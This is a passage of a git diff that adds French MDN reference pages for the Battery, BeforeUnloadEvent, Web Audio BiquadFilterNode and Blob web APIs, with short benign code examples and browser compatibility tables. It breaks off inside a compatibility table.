+<p>Indique le niveau de charge de la batterie en tant que valeur comprise entre <code>0.0</code> (déchargée) et <code>1.0</code> (rechargée).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var level = battery.level</pre>
+
+<p><code>level</code> est un nombre représentant le niveau de charge de la batterie en tant que valeur comprise entre <code>0.0</code> et <code>1.0</code>. Une veleur de <code>0.0</code> signifie que <code><em>battery</em></code>, qui est un objet de type {{domxref("BatteryManager")}}, est vide, et que le système est sur le point d'être désactivé. Une valeur de <code>1.0</code> signifie que la batterie est pleine.</p>
+
+<p>La valeur <code>1.0</code> est aussi retournée si le système n'est pas capable de déterminer son niveau de charge ou si le système n'est pas alimenté par une batterie.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<h3 id="Code_HTML">Code HTML</h3>
+
+<pre class="brush: html  language-html">&lt;div id="level"&gt;(niveau de batterie inconnu)&lt;/div&gt;<code class="language-html">
+</code></pre>
+
+<h3 id="Code_JavaScript">Code JavaScript</h3>
+
+<pre class="brush: js;  highlight:[3]">navigator.getBattery().then(function(battery) {
+
+    var level = battery.level;
+
+    document.querySelector('#level').textContent = level;
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Example', '100%', 30, '', 'Web/API/BatteryManager/level') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.BatteryManager.level")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/fr/web/api/beforeunloadevent/index.html b/files/fr/web/api/beforeunloadevent/index.html
new file mode 100644
index 0000000000..056075a91a
--- /dev/null
+++ b/files/fr/web/api/beforeunloadevent/index.html
@@ -0,0 +1,93 @@
+---
+title: BeforeUnloadEvent
+slug: Web/API/BeforeUnloadEvent
+tags:
+  - API
+  - Reference
+translation_of: Web/API/BeforeUnloadEvent
+---
+<p>{{APIRef}}</p>
+
+<p>L'évènement <strong><code>beforeunload</code></strong> est déclenché quand la fenêtre, le document et ses ressources sont sur le point d'être déchargées.</p>
+
+<p>Si une chaine non vide est assignée à la propriété <code>returnValue</code> de l'évènement, une boite de confirmation apparait pour demander à l'utilisateur de valider le changement d'adresse (voir les exemples ci-dessous). Si aucune valeur n'est fournise, l'évènement est traité silencieusement. Certaines implantations ne demandent confirmation que si le cadre ou tout cadre embarqué reçoit une action utilisateur. Voir {{anch("Browser compatibility")}} pour plus d'informations.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>Bouillonne</strong></td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <td><strong>Annulable</strong></td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <td><strong>Cibles</strong></td>
+   <td>defaultView</td>
+  </tr>
+  <tr>
+   <td><strong>Interface</strong></td>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js; notranslate">window.addEventListener("beforeunload", function(event) {
+  event.returnValue = "\o/";
+});
+
+// est équivalent à
+window.addEventListener("beforeunload", function(event) {
+  event.preventDefault();
+});</pre>
+
+<p>Les navigateurs basés sur WebKit ne suivent pas la spécification concernant la demande de confirmation. Un exemple similaire fonctionnant sur presque tous les navigateurs serait plutôt comme :</p>
+
+<pre class="brush: js notranslate">window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  (e || window.event).returnValue = confirmationMessage;     // Gecko + IE
+  return confirmationMessage;                                /* Safari, Chrome, and other
+                                                              * WebKit-derived browsers */
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsing-the-web.html#the-beforeunloadevent-interface", "BeforeUnloadEvent")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.BeforeUnloadEvent")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Event("DOMContentLoaded")}}</li>
+ <li>{{Event("readystatechange")}}</li>
+ <li>{{Event("load")}}</li>
+ <li>{{Event("beforeunload")}}</li>
+ <li>{{Event("unload")}}</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document" title="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document">Unloading Documents — Prompt to unload a document</a></li>
+</ul>
diff --git a/files/fr/web/api/biquadfilternode/frequency/index.html b/files/fr/web/api/biquadfilternode/frequency/index.html
new file mode 100644
index 0000000000..e9602bba1d
--- /dev/null
+++ b/files/fr/web/api/biquadfilternode/frequency/index.html
@@ -0,0 +1,83 @@
+---
+title: BiquadFilterNode.frequency
+slug: Web/API/BiquadFilterNode/frequency
+translation_of: Web/API/BiquadFilterNode/frequency
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La propriété <code>frequency</code> de l'interface {{ domxref("BiquadFilterNode") }} est un  {{domxref("AudioParam")}} de type <a href="/fr/docs/DOM/AudioParam#k-rate">k-rate</a> : un nombre flottant à double précision représentant une fréquence de l'algorithme de filtrage courant, exprimée en hertz (Hz).</p>
+
+<p>Sa valeur par défaut est de <code>350</code> avec une portée nominale de <code>10</code> à la <a href="http://en.wikipedia.org/wiki/Nyquist_frequency" title="http://en.wikipedia.org/wiki/Nyquist_frequency">fréquence de Nyquist</a>, qui est la moitié de la fréquence d'échantillonnage.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var filtreBiquad = contexteAudio.createBiquadFilter();
+filtreBiquad.frequency.value = 3000;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Bien que le <code>AudioParam</code> renvoyé soit en lecture seule, la valeur qu'il représente ne l'est pas.</p>
+</div>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("AudioParam")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant montre l'utilisation basique d'un AudioContext pour créer un filtre Biquad. Pour un exemple complet, consultez notre démo <a href="http://mdn.github.io/voice-change-o-matic/">voice-change-o-matic</a> (et son <a href="https://github.com/mdn/voice-change-o-matic">code source</a>).</p>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+
+// mise en place des différents noeuds audio que nous utiliserons par la suite
+var analyseur = contexteAudio.createAnalyser();
+var distortion = contexteAudio.createWaveShaper();
+var noeudGain = contexteAudio.createGain();
+var filtreBiquad = contexteAudio.createBiquadFilter();
+var convolution = contexteAudio.createConvolver();
+
+// connecte les noeuds ensemble
+
+source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyseur);
+analyseur.connect(distortion);
+distortion.connect(filtreBiquad);
+biquadFilter.connect(convolution);
+convolution.connect(noeudGain);
+noeudGain.connect(contexteAudio.destination);
+
+// manipule le filtre Biquad
+
+filtreBiquad.type = "lowshelf";
+filtreBiquad.frequency.value = 1000;
+filtreBiquad.gain.value = 25;
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-BiquadFilterNode-frequency', 'frequency')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{Compat("api.BiquadFilterNode.frequency")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/biquadfilternode/index.html b/files/fr/web/api/biquadfilternode/index.html
new file mode 100644
index 0000000000..ec843a69f1
--- /dev/null
+++ b/files/fr/web/api/biquadfilternode/index.html
@@ -0,0 +1,253 @@
+---
+title: BiquadFilterNode
+slug: Web/API/BiquadFilterNode
+tags:
+  - API
+  - Experimental
+  - Reference
+  - Web Audio API
+translation_of: Web/API/BiquadFilterNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p class="summary">L'interface <code><strong>BiquadFilterNode</strong></code> représente un simple filtre de bas niveau, créé avec la méthode <span class="seoSummary">{{ domxref("AudioContext.createBiquadFilter()") }}</span>. Il s'agit d'un {{domxref("AudioNode")}} qui peut représenter différents types de filtres, dispositifs de réglage de tonalité ou égaliseurs graphiques. Un <code>BiquadFilterNode</code> a toujours exactement une entrée et une sortie.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn>Nombre d'entrées</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Nombre de sorties</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Mode de comptage des canaux</dfn></th>
+   <td><code>"max"</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Nombre de canaux</dfn></th>
+   <td><code>2</code> (pas utilisés dans le mode de comptage par défaut)</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interprétation du canal</dfn></th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.BiquadFilterNode", "BiquadFilterNode()")}}</dt>
+ <dd>Crée une nouvelle instance d'un objet  <code>BiquadFilterNode</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.frequency")}}</dt>
+ <dd>Est un {{domxref ("AudioParam")}} de type <a href="/fr/docs/Web/API/AudioParam#a-rate">a-rate</a> : un nombre flottant à double précision représentant une fréquence de l'algorithme de filtrage, exprimée en Hertz.</dd>
+ <dt>{{domxref("BiquadFilterNode.detune")}}</dt>
+ <dd>Est un {{domxref ("AudioParam")}} de type <a href="/fr/docs/Web/API/AudioParam#a-rate">a-rate</a> : un nombre flottant à double précision représentant le désaccordage de la fréquence exprimé en <a class="external external-icon" href="https://fr.wikipedia.org/wiki/Cent_et_savart">cents</a>.</dd>
+ <dt>{{domxref("BiquadFilterNode.Q")}}</dt>
+ <dd>Est un {{domxref ("AudioParam")}} de type <a href="/fr/docs/Web/API/AudioParam#a-rate">a-rate</a> : un nombre flottant à double précision représentant un <a href="http://en.wikipedia.org/wiki/Q_factor" title="http://en.wikipedia.org/wiki/Q_factor">facteur</a><a href="http://en.wikipedia.org/wiki/Q_factor" title="http://en.wikipedia.org/wiki/Q_factor"> Q</a>, ou facteur de qualité.</dd>
+ <dt>{{domxref("BiquadFilterNode.gain")}} {{readonlyInline}}</dt>
+ <dd>Est un {{domxref ("AudioParam")}} de type <a href="/fr/docs/Web/API/AudioParam#a-rate">a-rate</a> : un nombre flottant à double précision représentant le <a href="http://en.wikipedia.org/wiki/Gain" title="http://en.wikipedia.org/wiki/Gain">gain</a><a href="http://en.wikipedia.org/wiki/Gain" title="http://en.wikipedia.org/wiki/Gain"> </a>utilisé dans l'algorithme de filtrage.</dd>
+ <dt>{{domxref("BiquadFilterNode.type")}}</dt>
+ <dd>Une chaîne définissant le type d'algorithme de filtrage que le noeud implémente:</dd>
+ <dd>La signification des paramètres diffère en fonction du type du filtre (sauf detune qui a la même signification dans tous les cas, et n'est donc pas listé ci-dessous)</dd>
+ <dd>
+ <table class="standard-table">
+  <caption></caption>
+  <thead>
+   <tr>
+    <th scope="row"><code>type</code></th>
+    <th scope="col">Description</th>
+    <th scope="col"><code>frequency</code></th>
+    <th scope="col"><code>Q</code></th>
+    <th scope="col"><code>gain</code></th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th scope="row"><code>lowpass</code></th>
+    <td>Filtre standard passe-bas résonnant de second ordre avec atténuation de 12dB/octave. Les fréquences inférieures au seuil sont inchangées; les fréquences supérieures sont atténuées.</td>
+    <td>La fréquence de coupure</td>
+    <td>Indique comment la fréquence a <span id="result_box" lang="fr"><span class="hps">culminé</span> </span><span id="result_box" lang="fr"> </span>autour de la coupure. Plus la valeur est élevée, plus le point culminant est haut</td>
+    <td>Non utilisé</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>highpass</code></th>
+    <td>Filtre standard passe-haut résonnant de second ordre avec atténuation de 12dB/octave. Les fréquences inférieures à la fréquence de coupure sont atténuées, les fréquences supérieures sont inchangées.</td>
+    <td>La fréquence de coupure</td>
+    <td>Indique comment la fréquence a <span id="result_box" lang="fr"><span class="hps">culminé</span> </span><span id="result_box" lang="fr"> </span>autour de la coupure. Plus la valeur est élevée, plus le point culminant est haut</td>
+    <td>Non utilisé</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>bandpass</code></th>
+    <td>Filtre standard passe-bande de second ordre. Les fréquences en dehors de la plage donnée de fréquences sont atténués, et les fréquences à l'intérieur sont inchangées.</td>
+    <td>Le centre de la gamme de fréquences.</td>
+    <td>Contrôle la largeur de la bande de fréquences. Plus Q est grande, plus la bande de fréquences est grande.</td>
+    <td>Non utilisé</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>lowshelf</code></th>
+    <td>Filtre standard de dégradé de basses fréquences de second ordre. Les fréquences inférieures à la fréquence obtiennent une impulsion ou une atténuation; Les fréquences supérieurs sont inchangées.</td>
+    <td>La limite supérieure des fréquences obtenant une impulsion ou une atténuation</td>
+    <td>Non utilisé</td>
+    <td>L'impulsion, en dB, à appliquer; s'il est négatif, ce sera une atténuation.</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>highshelf</code></th>
+    <td>Filtre standard de dégradé de hautes fréquences de second ordre. Les fréquences supérieures à la fréquence obtiennent une impulsion, ou une atténuation; Les fréquences inférieurs restent inchangées</td>
+    <td>La limite inférieure des fréquences obtenant une impulsion ou une atténuation</td>
+    <td>Non utilisé</td>
+    <td>L'impulsion, en dB, à appliquer; s'il est négatif, ce sera une atténuation.</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>peaking</code></th>
+    <td>Les fréquences à l'intérieur de la gamme obtiennent une impulsion ou une atténuation; les fréquences en dehors de celle-ci sont inchangées.</td>
+    <td>Le milieu de la gamme de fréquences obtiennent une impulsion, ou un attenuation</td>
+    <td>Contrôle la largeur de la bande de fréquences. Plus grande est Q, plus grande est la bande de fréquences.</td>
+    <td>L'impulsion, en dB, à appliquer; s'il est négatif, ce sera une atténuation.</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>notch</code></th>
+    <td>Filtre coupe standard, appelé aussi coupe-bande. C'est l'inverse d'un filtre passe-bande: les fréquences en dehors de la gamme de fréquences donnée sont inchangées; les fréquences à l'intérieur de celle-ci sont atténuées.</td>
+    <td>Le centre de la gamme de fréquences.</td>
+    <td>Contrôle la largeur de la bande de fréquences. Plus grande est Q, plus grande est la bande de fréquences.</td>
+    <td>Non utilisé</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>allpass</code></th>
+    <td>Filtre standard passe-tout du second ordre. Laisse toutes les fréquences inchangées, mais modifie le rapport de phase entre les différentes fréquences.</td>
+    <td>La fréquence du retard de groupe maximal, qui est la fréquence à laquelle le centre de la transition de phase se produit.</td>
+    <td>Contrôle finement la transition à la fréquence moyenne. Plus ce paramètre est grand, plus la transition est fine et large.</td>
+    <td>Non utilisé</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des propriétés de son parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.getFrequencyResponse()")}}</dt>
+ <dd>A partir des valeurs courantes des paramètres de filtre, calcule la fréquence de réponse pour des fréquences spécifiées dans le tableau de fréquences <em>frequencyHz</em> passé en paramètre.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>{{page("/fr/docs/Web/API/AudioContext.createBiquadFilter","Example")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#BiquadFilterNode-section', 'BiquadFilterNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(15)}}{{property_prefix("webkit")}}<br>
+    {{CompatOpera(22)}} (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>constructeur</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td>constructeur</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/blob/blob/index.html b/files/fr/web/api/blob/blob/index.html
new file mode 100644
index 0000000000..fa229550e2
--- /dev/null
+++ b/files/fr/web/api/blob/blob/index.html
@@ -0,0 +1,77 @@
+---
+title: Blob()
+slug: Web/API/Blob/Blob
+tags:
+  - API
+  - Blob
+  - Constructeur
+  - Experimental
+  - File API
+  - Reference
+translation_of: Web/API/Blob/Blob
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>Le constructeur <code><strong>Blob()</strong></code> retourne un nouvel objet {{domxref("Blob")}}. Le contenu d'un blob consiste en une concaténation de valeurs données dans le tableau passé en paramètre.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var aBlob = new Blob(<em> array</em>)
+var aBlob = new Blob( <em>array</em>, <em>options</em> );
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>array</code></dt>
+ <dd>Un tableau ({{jsxref("Array")}}) d'objets de type {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, ou un mélange de tels objets qui seront insérés dans le {{domxref("Blob")}}. Les chaînes <code>DOMString</code> seront encodées en UTF-8.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un paramètre optionnel qui est un dictionnaire <code>BlobPropertyBag</code> et qui peut être utilisé pour définir les deux attributs suivants :
+ <ul>
+  <li><code>type</code> : cet attribut représente le type MIME du contenu du tableau qui sera inséré dans le blob. La valeur par défaut pour cette propriété est la chaîne vide <code>""</code>.</li>
+  <li><code>endings</code> : cet attribut spécifie la façon dont les chaînes qui contiennent des sauts de lignes (<code>\n</code>) doivent être retranscrites. Il peut prendre l'une de ces valeurs :
+   <ul>
+    <li><code>"native"</code> indiquera que les caractères de fin doivent être adaptés pour correspondre à ceux utilisés par le système d'exploitation</li>
+    <li><code>"transparent"</code> indiquera que les fin de lignes sont stockées telles quelles dans le blob (aucune modification).</li>
+   </ul>
+   La valeur par défaut pour cet attribut est <code>"transparent"</code>. {{non-standard_inline}}</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js  language-js">// Un tableau qui contient une seule DOMString
+var aFileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;Coucou :) !&lt;/b&gt;&lt;/a&gt;'];
+
+// Le blob
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#constructorBlob', 'Blob()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Blob.Blob")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le déprécié {{domxref("BlobBuilder")}} qui a été remplacé par ce constructeur.</li>
+</ul>
diff --git a/files/fr/web/api/blob/index.html b/files/fr/web/api/blob/index.html
new file mode 100644
index 0000000000..62a3ba68f5
--- /dev/null
+++ b/files/fr/web/api/blob/index.html
@@ -0,0 +1,240 @@
+---
+title: Blob
+slug: Web/API/Blob
+tags:
+  - API
+  - Référence(2)
+  - WebAPI
+translation_of: Web/API/Blob
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>Un objet <strong><code>Blob</code></strong> représente un objet, semblable à un fichier, qui est immuable et qui contient des données brutes. Les <em>blobs</em> (pour <em><strong>B</strong>inary <strong>L</strong>arge <strong>Ob</strong>jects</em>) représentent des données qui ne sont pas dans un format JavaScript natif. L'interface {{domxref("File")}} est basée sur l'interface <code>Blob</code> et hérite des fonctionnalités de cette dernière tout en ajoutant des fonctionnalités pour gérer les fichiers sur le système de l'utilisateur.</p>
+
+<p>Pour construire un <code>Blob</code> à partir d'objets qui ne sont pas des blobs ou à partir d'autres données, on pourra utiliser le constructeur {{domxref("Blob.Blob", "Blob()")}}. Pour créer un blob qui contient un sous-ensemble d'un autre blob, on pourra employer la méthode {{domxref("Blob.slice()", "slice()")}}. Pour obtenir un <code>Blob</code> à partir d'un fichier du système de l'utilisateur, consulter la documentation {{domxref("File")}}.</p>
+
+<p>Les API qui acceptent des objets <code>Blob</code> sont également listées sur la documentation de {{domxref("File")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La méthode <code>slice()</code> utilisait auparavant un deuxième argument qui indiquait le nombre d'octets à copier dans le nouveau blob. Si on utilisait un couple de valeur <code>début + longueur</code> qui dépassait la taille du blob source, le blob qui était renvoyé contenait les données à partir de l'indice de début et jusuq'à la fin du blob.</p>
+</div>
+
+<div class="note"><strong>Note :</strong> La méthode <code>slice()</code> doit être utilisée avec certains préfixes sur certaines versions de navigateurs : <code>blob.mozSlice()</code> pour Firefox 12 et antérieur, <code>blob.webkitSlice()</code> dans Safari. Un ancienne version de <code>slice()</code> sans préfixes avait une sémantique différente et est désormais obsolète. La prise en charge de <code>blob.mozSlice()</code> a été abandonnée avec Firefox 30.</div>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("Blob.Blob", "Blob(blobParts[, options])")}}</dt>
+ <dd>Ce constructeur renvoie un nouvel objet <code>Blob</code> qui contient la concaténation des valeurs du tableau passé en paramètre.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Blob.isClosed")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Un booléen qui indique si la méthode {{domxref("Blob.close()")}} a été appelée sur le blob. Les blobs qui ont été fermés ne peuvent pas être lus.</dd>
+ <dt>{{domxref("Blob.size")}} {{readonlyinline}}</dt>
+ <dd>La taille des données contenues dans l'objet <code>Blob</code>, exprimée en octets.</dd>
+ <dt>{{domxref("Blob.type")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne de caractères qui indique le type MIME des données contenues dans le <code>Blob</code>. Si le type est inconnu, la chaîne de caractères est vide.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Blob.close()")}} {{experimental_inline}}</dt>
+ <dd>Cette méthode clotûre le blob et libère éventuellement les ressources sous-jacentes.</dd>
+ <dt>{{domxref("Blob.slice()", "Blob.slice([début[, fin[, contentType]]])")}}</dt>
+ <dd>Cette méthode renvoie un nouvel objet <code>Blob</code> qui contient les données dans le fragment du <code>Blob</code> source entre <code>début</code> et <code>fin</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_du_constructeur_Blob">Utilisation du constructeur <code>Blob</code></h3>
+
+<p>Le constructeur {{domxref("Blob.Blob", "Blob()")}} permet de créer des blobs à partir d'autres objets. Par exemple, on peut construire un blob à partir d'une chaîne de caractères :</p>
+
+<pre>var debug = {coucou: "monde"};
+var blob = new Blob([JSON.stringify(debug, null, 2)], {type : 'application/json'});</pre>
+
+<h3 id="Créer_une_URL_de_données_vers_un_tableau_typé">Créer une URL de données vers un tableau typé</h3>
+
+<pre class="brush: js">var typedArray = GetTheTypedArraySomehow();
+
+// On ajoute un type MIME pertinent
+var blob = new Blob([typedArray], {type: 'application/octet-binary'});
+var url = URL.createObjectURL(blob);
+
+// url ressemblera à :
+//   blob:d3958f5c-0777-0845-9dcf-2cb28783acaf
+
+// désormais on peut utiliser l'URL dans tout
+// contexte qui utilise des URL (img.src par
+// exemple)
+</pre>
+
+<h3 id="Extraire_des_données_à_partir_d'un_blob">Extraire des données à partir d'un blob</h3>
+
+<p>La seule façon de lire le contenu d'un blob est d'utiliser un objet {{domxref("FileReader")}}. Dans le code qui suit, on lit le contenu d'un blob sous la forme d'un tableau typé.</p>
+
+<pre class="brush: js">var reader = new FileReader();
+reader.addEventListener("loadend", function() {
+   // reader.result contient le contenu du
+   // blob sous la forme d'un tableau typé
+});
+reader.readAsArrayBuffer(blob);</pre>
+
+<p>En utilisant d'autres méthodes de {{domxref("FileReader")}}, on peut lire le contenu du blob si c'est une chaîne ou une URL de données.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#blob','Blob')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>5<sup>[1]</sup></td>
